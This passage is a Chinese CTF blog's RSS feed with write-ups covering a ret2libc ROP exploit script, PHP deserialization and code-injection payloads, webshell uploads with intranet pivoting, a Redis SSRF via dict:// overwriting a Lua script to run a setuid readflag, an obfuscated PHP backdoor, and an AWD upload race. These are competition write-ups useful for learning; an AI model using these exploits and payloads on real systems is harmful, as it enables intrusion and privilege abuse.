solver.add(-4 * (x[0] * x[24]) + 10 * (x[12] * x[14]) + 10 * (x[15] * x[28]) - 6 * (x[15] * x[35]) - 8 * (x[15] * x[37]) - x[16] * x[22] - 3 * (x[16] * x[27]) - 4 * (x[18] * x[28]) + 3 * (x[19] * x[26]) + 8 * (x[19] * x[36]) + 5 * (x[20] * x[24]) - 9 * (x[24] * x[32]) - 7 * x[3] + 8 * x[32] - 5 * (x[5] * x[8]) + 26189 == 0)
solver.add(x[10] * x[35] - 2 * (x[12] * x[37]) + 3 * (x[13] * x[22]) + 2 * (x[13] * x[27]) + 5 * (x[14] * x[33]) - 9 * (x[15] * x[8]) + 2 * (x[16] * x[4]) + 7 * (x[19] * x[9]) + 6 * (x[2] * x[27]) + 7 * (x[20] * x[6]) + 8 * (x[21] * x[35]) - 3 * (x[21] * x[9]) - 6 * (x[24] * x[28]) + 2 * (x[31] * x[33]) - 9 * x[6] - 132667 == 0)
solver.add(10 * (x[10] * x[31]) - 10 * (x[12] * x[4]) + x[15] * x[23] - x[18] * x[30] + 4 * (x[19] * x[29]) - 4 * (x[19] * x[4]) - 8 * (x[2] * x[27]) - 4 * (x[2] * x[29]) + 10 * (x[20] * x[24]) + 7 * (x[20] * x[35]) + x[25] * x[27] + 9 * (x[27] * x[30]) + 2 * (x[27] * x[7]) - 4 * (x[28] * x[7]) - 2 * (x[3] * x[33]) + 4 * x[37] * x[37] - 17537 == 0)
solver.add(10 * x[0] * x[0] + 3 * (x[1] * x[29]) - 2 * (x[11] * x[13]) - 8 * (x[12] * x[28]) - 2 * x[13] - 10 * (x[14] * x[26]) - 3 * (x[15] * x[9]) + 8 * (x[19] * x[26]) + 3 * (x[19] * x[28]) + 9 * (x[21] * x[36]) - 2 * x[23] - 8 * (x[25] * x[26]) + x[28] * x[32] - 5 * (x[29] * x[6]) + 10 * (x[33] * x[6]) - 2 * (x[36] * x[5]) - 82595 == 0)

if solver.check() == sat:
    model = solver.model()
    flag = ''.join(chr(model[xi].as_long()) for xi in x)
    print(f'[+] Flag: {flag}')
else:
    print('[-] No solution found.')
</code></pre>
<p>flag{815ddbd7a20d03a9cea4dd6ef8685c74}</p>
<h3>ez_picture</h3>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511135046027.png" alt="image-20250511135046027" /></p>
<pre><code class="language-python">from PIL import Image

def extract_lsb_from_image(image_path):
    img = Image.open(image_path)
    pixels = list(img.getdata())

    bits = []
    for pixel in pixels:
        for channel in pixel[:3]:
            bits.append(channel &amp; 1) 

    bytes_out = []
    for i in range(0, len(bits), 8):
        byte = 0
        for bit in bits[i:i+8]:
            byte = (byte &lt;&lt; 1) | bit
        bytes_out.append(byte)

    hidden_message = bytearray()
    for b in bytes_out:
        if b == 0:
            break 
        hidden_message.append(b)

    return hidden_message.decode('utf-8', errors='ignore')

if __name__ == "__main__":
    path = "/Users/zhujiayi/Downloads/ez_picture3/15.png"  
    message = extract_lsb_from_image(path)
    print(message)</code></pre>
<p>解压出来是jpg<br />
<img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511135125274.png" alt="image-20250511135125274" /><br />
属性里面有字符<br />
<img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511135144022.png" alt="image-20250511135144022" /></p>
<h3>ez_pwn</h3>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511105803614.png" alt="image-20250511105803614" /></p>
<pre><code class="language-python">from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 远程连接信息
host = '47.105.113.86'
port = 30003

# libc和ld文件路径
libc_path = './libc-2.31.so'  # 正确的libc文件路径
ld_path = './ld-2.31.so'  # 正确的ld文件路径

elf = ELF('./pwn')  # 二进制文件路径

libc = ELF(libc_path)

def exploit(p):

    p.recvuntil(b"Close your eye, and you are blind now.")

    pop_rdi_ret = 0x4012c3 
    pop_rsi_r15_ret = 0x4012c1
    ret_addr = 0x40101a  

    write_plt = 0x401070
    write_got = 0x404018  

    main_addr = 0x401207

    payload1 = b'A' * 0x28  # buf[32] + saved rbp(8)
    payload1 += p64(pop_rdi_ret)  # pop rdi; ret
    payload1 += p64(2) 
    payload1 += p64(pop_rsi_r15_ret)  # pop rsi; pop r15; ret
    payload1 += p64(write_got)  
    payload1 += p64(0)
    payload1 += p64(write_plt) 
    payload1 += p64(main_addr)

    p.send(payload1)

    leak_data = p.recv(8) 

    write_addr = u64(leak_data)
    log.success(f"Leaked write address: {hex(write_addr)}")

    write_offset = libc.symbols['write']
    libc.address = write_addr - write_offset
    log.success(f"Libc base address: {hex(libc.address)}")

    system_addr = libc.symbols['system']
    bin_sh_addr = next(libc.search(b'/bin/sh'))

    log.info(f"System address: {hex(system_addr)}")
    log.info(f"/bin/sh address: {hex(bin_sh_addr)}")

    command = b'cat /flag &gt;&amp;2'

    read_addr = libc.symbols['read']

    bss_addr = 0x404060 + 0x100 

    payload2 = b'A' * 0x28
    payload2 += p64(pop_rdi_ret)
    payload2 += p64(0) 
    payload2 += p64(pop_rsi_r15_ret)
    payload2 += p64(bss_addr) 
    payload2 += p64(0)
    payload2 += p64(read_addr)  

    payload2 += p64(pop_rdi_ret)
    payload2 += p64(bss_addr)
    payload2 += p64(system_addr)

    p.send(payload2)
    p.send(command)
    p.interactive()

p = remote(host, port)
exploit(p)
</code></pre>
<p>运行完直接出flag</p>
<p>flag{a51a3bdf23919f677efccd90270da72f}</p>
<h3>ez_xor</h3>
<p>爆破xor就行了</p>
<pre><code class="language-python">a = "5f55585e42717a6d7f484e5c786a7d080f0d44"

for i in range(10000):
    for j in range(0, len(a), 2):
        print(chr(int(a[j:j+2], 16)^i), end="")
    print()
# FLAG{hctfQWEasd123}</code></pre>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511092718316.png" alt="image-20250511092718316" /></p>
<h3>gift</h3>
<p>题目中说，礼物的一份散落成了 1 - 1/3 + 1/5 - 1/7 + … 这样的一个级数。</p>
<p>这是一个著名的数学级数，叫做莱布尼茨级数 (Leibniz series) 或者马德hava-莱布尼茨级数。这个级数收敛于 π/4。</p>
<p>所以，丢失的那一份礼物就代表了 π/4。</p>
<ol>
<li>计算整个礼物：</li>
</ol>
<p>既然礼物被平均分成了四份，而其中一份是 π/4，那么整个礼物就是 4 * (π/4) = π。</p>
<ol>
<li>猜测礼物的名称：</li>
</ol>
<p>整个礼物是 π (圆周率)。题目给出的 flag 示例是 flag{apple}、flag{watermelon}，这表明礼物应该是一个具体的物品名称。</p>
<p>π 的英文发音是 &quot;pi&quot; /paɪ/，这和 &quot;pie&quot; (馅饼) /paɪ/ 的发音非常相似。</p>
<p>考虑到这是一个脑筋急转弯类型的题目，爸爸带的礼物很可能就是 &quot;pie&quot; (馅饼)。</p>
<ol>
<li>凯撒密码加密：</li>
</ol>
<p>题目要求将 flag 的值（也就是礼物名称）用凯撒密码加密，偏移量为 6。</p>
<p>我们要加密的单词是 &quot;pie&quot;。</p>
<ul>
<li>
<p>'p' 是字母表中的第16个字母。偏移6位后变成第 (16 - 1 + 6) % 26 + 1 = 21 % 26 + 1 = 22个字母，即 'v'。(或者，从0开始索引，p是第15位，(15+6)%26 = 21，第21位是v)</p>
</li>
<li>
<p>'i' 是字母表中的第9个字母。偏移6位后变成第 (9 - 1 + 6) % 26 + 1 = 14 % 26 + 1 = 15个字母，即 'o'。(或者，i是第8位，(8+6)%26 = 14，第14位是o)</p>
</li>
<li>
<p>'e' 是字母表中的第5个字母。偏移6位后变成第 (5 - 1 + 6) % 26 + 1 = 10 % 26 + 1 = 11个字母，即 'k'。(或者，e是第4位，(4+6)%26 = 10，第10位是k)</p>
</li>
</ul>
<p>所以，&quot;pie&quot; 加密后得到 &quot;vok&quot;。</p>
<ol>
<li>最终的 flag：</li>
</ol>
<p>将加密后的值放入 flag 格式中，得到 flag{vok}。</p>
<p>因此，爸爸带的礼物是 &quot;pie&quot; (馅饼)，提交的 flag 应该是 flag{vok}。</p>
<h3>sign in</h3>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511094334234.png" alt="" /></p>
<p>明显rc4，上面密钥，下面秘文</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511094222168.png" alt="image-20250511094222168" /></p>
<h3>YWB_Web_反序列化</h3>
<p>很容易就能构造链<br />
O:7:&quot;mylogin&quot;:2:{s:4:&quot;user&quot;;s:5:&quot;admin&quot;;s:4:&quot;pass&quot;;s:11:&quot;myzS@11wawq&quot;;}</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511145157424.png" alt="image-20250511145157424" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511145255134.png" alt="image-20250511145255134" /></p>
<p>flag{ptn4pymi1h7o}</p>
<h3>YWB_Web_命令执行过滤绕过</h3>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511163852232.png" alt="image-20250511163852232" /></p>
<p>很容易就能构造</p>
<p>?cmd=print(file_get_contents(%27/tmp/flag.nisp%27));</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511164008147.png" alt="image-20250511164008147" /></p>
<p>flag{dnu3stfgjy61}</p>
<h3>YWB_Web_未授权访问</h3>
<p>改一下权限就行</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511102647482.png" alt="image-20250511102647482" /></p>
<h3>YWB_Web_xff</h3>
<p>全伪造成2.2.2.1就行</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250511092945208.png" alt="image-20250511092945208" /></p>]]></description>
    <pubDate>Mon, 12 May 2025 22:29:12 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=32</guid>
</item>
<item>
    <title>[fhackerctf] 翻斗幼儿园历险记</title>
    <link>http://yd233.top/?post=31</link>
    <description><![CDATA[<p>文件上传传🐎<img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311165654098.png" alt="image-20250311165654098" /></p>
<p>整个elf🐎来方便搞事</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311170128229.png" alt="image-20250311170128229" /></p>
<p>连上哩</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311170159587.png" alt="image-20250311170159587" /></p>
<p>进shell一眼看到find说不定可以提权，不过不管了，先试试能不能搭隧道打内网吧</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311173137009.png" alt="image-20250311173137009" /></p>
<p>ok隧道也是搭起来了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311173454345.png" alt="image-20250311173454345" /></p>
<p>接下来扫一下就知道别的机器在哪里了</p>
<p>很容易知道在172.11.0.4:3000部署了一个web</p>
<p>在172.11.0.3部署了一个redis，还是没密码的</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311180951123.png" alt="image-20250311180951123" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311180909120.png" alt="image-20250311180909120" /></p>
<p>一万分？写脚本爆一下<img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311193935080.png" alt="image-20250311193935080" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311193928086.png" alt="image-20250311193928086" /></p>
<pre><code class="language-python">import requests

url = r"http://172.11.0.4:3000/play.php"
res = requests.get(url,cookies={"PHPSESSID": "4c"})

data = "answer"

a = res.text.split(r'&lt;h4 class="text-light mb-3"&gt;')[1].split(r' = ?&lt;/h4&gt;')[0]
p = res.text.split(r'&lt;p class="text-light"&gt;当前分数:')[1].split('&lt;/p&gt;')[0]
p = int(p)

while p&lt;=9999:
    res = requests.post(url,data={data:eval(a)},cookies={"PHPSESSID": "4c"})

    p = res.text.split(r'&lt;p class="text-light"&gt;当前分数:')[1].split('&lt;/p&gt;')[0]
    p = int(p)
    a = res.text.split(r'&lt;h4 class="text-light mb-3"&gt;')[1].split(r' = ?&lt;/h4&gt;')[0]</code></pre>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311194755028.png" alt="image-20250311194755028" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311194811751.png" alt="image-20250311194811751" /></p>
<p>这时候想起了redis，数据应该是存在里面的我们看看</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311200249262.png" alt="image-20250311200249262" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311200254819.png" alt="image-20250311200254819" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311200314839.png" alt="image-20250311200314839" /></p>
<p>看起来可能是要把这个role改成admin就行了</p>
<p>那就改</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311200510142.png" alt="image-20250311200510142" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311200518936.png" alt="image-20250311200518936" /></p>
<p>跑了一万次还是这个结果</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311200451888.png" alt="image-20250311200451888" /></p>
<p>可能在别的地方吧</p>
<p>试了下admin.php发现能够访问了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250311200551388.png" alt="image-20250311200551388" /></p>
<p>这里可以翻看源码</p>
<pre><code class="language-php">&lt;?php
require_once 'common.php';
$user = getCurrentUser();
if (!$user || $user['role'] !== 'admin') {
    header('HTTP/1.1 403 Forbidden');
    die('&lt;h1 class="text-light"&gt;403 Forbidden - 权限不足&lt;/h1&gt;');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    define('REL_FILENAME', 'word/_rels/document.xml.rels');

    function hellYeah($code, $msg): void
    {
        http_response_code($code);
        die("&lt;div class='neu-card'&gt;&lt;div class='alert alert-danger'&gt;$msg&lt;/div&gt;&lt;/div&gt;");
    }

    if (!isset($_FILES['input'])) hellYeah(400, '请选择要上传的文件');
    if ($_FILES['input']['error'] !== UPLOAD_ERR_OK) hellYeah(500, '文件上传错误');
    if ($_FILES['input']['type'] != 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')
        hellYeah(400, '请上传Word文档 (.docx)');

    $zip = new ZipArchive();
    $zipFilename = $_FILES['input']['tmp_name'];
    if ($zip-&gt;open($zipFilename) !== true || $zip-&gt;locateName(REL_FILENAME) === false)
        hellYeah(400, '无效的Word文档格式');

    $relsDom = simplexml_load_string($zip-&gt;getFromName(REL_FILENAME));
    if ($relsDom === false) hellYeah(400, '文档关系表解析失败');

    $tmpDir = exec("mktemp -d --tmpdir=/tmp");
    shell_exec("unzip $zipFilename \"word/media*\" -d \"$tmpDir\"");

    function cleanup($tmpDir): void
    {
        shell_exec("rm -rf $tmpDir");
    }

    register_shutdown_function('cleanup', $tmpDir);

    @chdir("$tmpDir/word/media");
    ini_set('open_basedir', '.');

    $messages = [];
    foreach($relsDom-&gt;Relationship as $rel) {
        if($rel['Type'] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') {
            if (!str_starts_with($rel['Target'], 'media/'))
                continue;
            $filename = substr($rel['Target'], 6);
            $file = @file_get_contents($filename);
            if ($file === false)
                break;
            if ($result = @base64_encode($file))
                $messages[] = $result;
        }
    }
    system("rm -rf $tmpDir");
}</code></pre>
<p>前面的都不重要，其实这里就是一个docx上传，仔细看其实就是压缩包解压的改版。</p>
<p>从docx文件的rel文件的Target行读取文件名，<code>media/</code>后面就是文件名，然后用<code>file_get_contents</code>函数读取后用base64编码读出来。</p>
<p>它使用<code>ini_set('open_basedir', '.');</code>限制了访问路径，所以需要用软连接来绕过。</p>
<p>但尝试了之后只用软连接是不行的，需要软连接+php伪协议。</p>
<p>所以最终的成果是</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250319110901250.png" alt="image-20250319110901250" /></p>
<p><code>media</code>连接到根目录</p>
<p>​   <img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250319110956640.png" alt="image-20250319110956640" /></p>
<p>这是rels文件，最后上传成功得到flag</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250319111114786.png" alt="image-20250319111114786" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250319111131579.png" alt="image-20250319111131579" /></p>]]></description>
    <pubDate>Wed, 19 Mar 2025 11:11:46 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=31</guid>
</item>
<item>
    <title>[软件安全大赛] CachedVisitor</title>
    <link>http://yd233.top/?post=30</link>
    <description><![CDATA[<p>这道题目还是挺有意思的，不是传统的php之类的题目，而是一个lua的题目，不过代码量很少，很容易就可以看懂</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250113190504099.png" alt="image-20250113190504099" /></p>
<p>这是基本的一个目录结构</p>
<p>该有的配置文件什么也都写在这里，只要懂一点的基本全部能理解，我们来分析一下。</p>
<p>从index.html开始看</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250113190722725.png" alt="image-20250113190722725" /></p>
<pre><code class="language-js">    &lt;script&gt;
        function visitUrl() {
            var url = document.getElementById('urlInput').value;
            var iframe = document.getElementById('urlFrame');
            iframe.src = '/visit?url=' + encodeURIComponent(url);
        }
    &lt;/script&gt;</code></pre>
<p>可以看到，当你点击这个visit的时候，带着框里面的参数跳转到<code>/visit</code>路由这边。</p>
<p>而且可以从<code>nginx.conf</code>文件中得知，<code>/visit</code> 对应的便是<code>main.lua</code>文件</p>
<p>而至于<code>main.lua</code>的路径为什么是这个，则是在<code>Dockerfile</code>中有对应的操作。</p>
<p>那我们接下来就可以看到<code>main.lua</code> 中的代码了</p>
<pre><code class="language-lua">local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end

    local content = file:read("*a")
    file:close()
    return content
end

local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end

local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end

main()
</code></pre>
<p>整体不多而且很好懂，总的来说，其实这个<code>main.lua</code>不实现任何功能，只是读取<code>/scripts/visit.script</code>，</p>
<p>然后在里面使用正则表达式匹配如下式子</p>
<pre><code>##LUA_START##(.-)##LUA_END##</code></pre>
<p>就是匹配<code>##LUA_START##</code>为开头，<code>##LUA_END##</code>为结尾的所有内容，这个正则表达式很简单，还是能做到一看就看懂的</p>
<p>其实看不懂也没关系，我们可以打开这个文件看看就大概也能猜到了。</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250113191532283.png" alt="image-20250113191532283" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250113191539642.png" alt="image-20250113191539642" /></p>
<p>这里的代码没什么好看的，就是访问一个页面而已。1</p>
<p>不过这里其实以及可以看到有一点小思路了，因为这里它没有限制URL的种类，所以是可以使用其他的协议的，比如file协议，我试过可以读取大部分文件了，比如什么/etc/passwd之类的<code>?url=file://localhost/etc/passwd</code>，但是没有什么吊用，因为即使flag在根目录你也读不出来！</p>
<p>为什么呢？可以查看Dockerfile寻找原因</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250113192119893.png" alt="image-20250113192119893" /></p>
<p>这里居然把flag限制成了400权限，也就是说只有文件所属者只可读，所以就导致web服务是没办法读取flag的，file协议当然就没用了。</p>
<p>但是我们可以注意到，它给readflag文件运行了 <code>chomod +xs</code> 这意味着，readflag 在运行的时候，会以文件所有者的权限运行，而不是其他权限，也就意味着，我们只需要运行readflag就可以读取到flag了。</p>
<p>但是我们到这一步并没有任何手段可以运行任何应用程序，这时候可以注意到，程序是使用了redis作为页面的缓存，题目名字也在提示和缓存有关，那显然是要利用redis了，那么经过尝试我们是可以成功使用dict协议直接连接到redis，也没有账号密码什么的。</p>
<p><code>dict://127.0.0.1:6379/</code></p>
<p>所以我们的思路就是使用redis的漏洞覆盖掉<code>/scripts/visit.script</code> 里面的内容，让里面的内容变成运行readflag，并且返回结果给我们。</p>
<p>接下来就是常规的打redis的操作了，只不过到后面才有不同，所以前面的就不多赘述了，这里的所有目录都是可以从Dockerfile里面得知的。</p>
<p>首先更改redis工作目录</p>
<pre><code>dict://127.0.0.1:6379/config%20set%20dir%20/scripts</code></pre>
<p>然后更改redis数据库名</p>
<pre><code>dict://127.0.0.1:6379/config%20set%20dbfilename%20visit.script</code></pre>
<p>内容参数是</p>
<pre><code class="language-lua">##LUA_START##
ngx.say(io.popen('./readflag'):read('*a'));
##LUA_END##</code></pre>
<p>但是由于存在##会被理解成为注释导致代码无法正常写入，所以需要编码成十六进制，这一点卡了我很久。</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250105224233292.png" alt="image-20250105224233292" /></p>
<pre><code>dict://127.0.0.1:6379/SET%20ttt%20"\x23\x23\x4c\x55\x41\x5f\x53\x54\x41\x52\x54\x23\x23\x0d\x0a\x6e\x67\x78\x2e\x73\x61\x79\x28\x69\x6f\x2e\x70\x6f\x70\x65\x6e\x28\x27\x2e\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x27\x29\x3a\x72\x65\x61\x64\x28\x27\x2a\x61\x27\x29\x29\x3b\x0d\x0a\x23\x23\x4c\x55\x41\x5f\x45\x4e\x44\x23\x23\x0d\x0a"</code></pre>
<p>然后保存就行</p>
<pre><code>dict://127.0.0.1:6379/save</code></pre>
<p>最后直接随便visit一个目标，让main.lua运行脚本就可以得到flag</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20250105224630420.png" alt="image-20250105224630420" /></p>]]></description>
    <pubDate>Mon, 13 Jan 2025 19:33:14 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=30</guid>
</item>
<item>
    <title>[CISCN2024] hello_web</title>
    <link>http://yd233.top/?post=29</link>
    <description><![CDATA[<p>url如下</p>
<pre><code>http://eci-2ze85pacggwnl291f1xs.cloudeci1.ichunqiu.com/index.php?file=hello.php</code></pre>
<p>file是一个文件读取，过滤了伪协议，同时清除了<code>../</code></p>
<p>所以双写绕过</p>
<pre><code>http://eci-2ze85pacggwnl291f1xs.cloudeci1.ichunqiu.com/index.php?file=....//hackme.php</code></pre>
<p>得到代码</p>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?&gt;</code></pre>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241215170848254.png" alt="image-20241215170848254" /></p>
<p>一层层解码之后发现存在后门。</p>
<p>要post一个<code>cmd_66.99</code></p>
<p>实际上<code>.</code>是一个特殊字符，只能利用PHP7的漏洞，POST <code>cmd[66.99</code>来防止<code>.</code>被转义成<code>_</code></p>
<p>所以实际上post的参数是<code>cmd[66.99</code></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241215171200734.png" alt="image-20241215171200734" /></p>
<p>连上之后找不到<code>flag</code>，想使用命令，但是实际上在<code>tips.php</code>中有提示，php的大部分苦于执行命令的函数被禁用了。</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241215171254532.png" alt="image-20241215171254532" /></p>
<p>使用蚁剑的插件，一键绕过，成功执行命令。</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241215171417521.png" alt="image-20241215171417521" /></p>
<p>搜索<code>flag</code></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241215171511450.png" alt="image-20241215171511450" /></p>
<p>访问对应的目录即可</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241215171544768.png" alt="image-20241215171544768" /></p>]]></description>
    <pubDate>Sun, 15 Dec 2024 17:16:42 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=29</guid>
</item>
<item>
    <title>利用yakit序列发包竞争过简单文件监控</title>
    <link>http://yd233.top/?post=28</link>
    <description><![CDATA[<p>在awd比赛中，经常会有很强的文件监控存在，上传上去一下子就没了，根本没法连接。</p>
<p>对于较弱的防护，可以一直重复发包，然后再发一个<code>cat /flag</code>来达到得到flag的方法，但是对于比较强的防护来说，就没办法了，根本访问不了。</p>
<p>那么有没有办法可以比这种防护还更快呢。有，那就是我们的好伙伴<code>yakit</code></p>
<p>yakit中存在一个序列发包的功能，即上一个包发出去之后马上接着下一个包，这个速度非常快，可以快过绝大部分的防护。</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241202213008523.png" alt="image-20241202213008523" /></p>
<p>这是一个文件上传的包，可以上传一个名为<code>123.php</code>的文件，在<code>upload/plugins/</code>目录下。</p>
<p>可以看到，即使上传成功了，访问这个路径也是404，而且经过测试，在其他的靶机上这个地方是可以正常上传的，说明要么是上传被拦截了，要么是被很快的删除了，我们可以尝试一下<code>yakit</code>的序列发包功能，来看看到底是那种。</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241202213126332.png" alt="image-20241202213126332" /></p>
<p>首先保存好两个包，一个是上传包，一个是执行命令的包，然后进入序列页面</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241202213744943.png" alt="image-20241202213744943" /></p>
<p>这里先配置好排序，先发上传包，然后执行命令</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241202214015935.png" alt="image-20241202214015935" /></p>
<p>有时候一发包会发现仍然是404，是因为可能由于网络波动的原因导致，</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241202214024256.png" alt="image-20241202214024256" /></p>
<p>多发几次就好了</p>
<p>可以看到成功拿到了flag</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image-20241202214139081.png" alt="image-20241202214139081" /></p>]]></description>
    <pubDate>Mon, 02 Dec 2024 21:46:30 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=28</guid>
</item>
<item>
    <title>s6.828 lab2</title>
    <link>http://yd233.top/?post=27</link>
    <description><![CDATA[<h1>Lab 2：内存管理实验报告</h1>
<h2>一、实验目的</h2>
<p>本实验的主要目的是实现操作系统存储管理的细节。包括建立内存模型，页表，物理地址映射等，理 解页表的分配机制，熟练的使用gdb进行程序的调试，可以灵活区分虚拟地址和物理地址之间的转换。</p>
<h2>二、实验内容</h2>
<h3>练习1</h3>
<p><code>boot_alloc</code></p>
<pre><code class="language-c">static void *
boot_alloc(uint32_t n)
{
    static char *nextfree; // 下一个空闲内存字节的虚拟地址
    char *result;

    // 如果这是第一次调用，初始化 nextfree。
    // 'end' 是链接器自动生成的一个魔术符号，
    // 指向内核 bss 段的末尾：
    // 链接器未分配给任何内核代码或全局变量的第一个虚拟地址。
    if (!nextfree)
    {
        extern char end[];
        nextfree = ROUNDUP((char *)end, PGSIZE);
    }

    // 分配足够容纳 'n' 字节的内存块，然后更新
    // nextfree。确保 nextfree 保持对齐
    // 到 PGSIZE 的倍数。
    //
    // LAB 2: 你的代码在这里。

    if (n &gt; 0)
    {
        uint32_t alloc_size = ROUNDUP(n, PGSIZE);
        result = nextfree;
        nextfree += alloc_size;
        return result;
    }
    else
    {
        return nextfree;
    }
}</code></pre>
<p><code>mem_init</code></p>
